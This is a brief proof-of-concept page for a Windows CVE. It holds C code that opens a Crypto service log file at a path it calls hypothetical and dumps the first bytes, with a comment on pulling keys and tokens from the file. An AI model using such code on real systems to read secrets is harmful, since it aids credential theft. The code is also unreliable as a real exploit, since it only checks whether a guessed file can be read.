CVE-2026-26152

/* * PoC for CVE-2026-26152 (Conceptual) * This code checks for readable sensitive files in the Crypto service directory. * Compile: gcc poc.c -o poc */ #include <windows.h> #include <stdio.h> #include <aclapi.h> int main() { const char* targetPath = "C:\\Windows\\System32\\winevt\\Logs\\CryptoService.log"; // Hypothetical vulnerable path printf("[*] Checking permissions on: %s\n", targetPath); HANDLE hFile = CreateFileA(targetPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to open file. Error: %lu\n", GetLastError()); return 1; } printf("[+] File opened successfully with Low Privileges!\n"); printf("[+] Vulnerability confirmed: Sensitive information is accessible.\n"); // In a real exploit, the attacker would read the file content to extract keys/tokens char buffer[1024]; DWORD bytesRead; if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { buffer[bytesRead] = '\0'; printf("[+] Dumping first %lu bytes:\n%s\n", bytesRead, buffer); } CloseHandle(hFile); return 0; }

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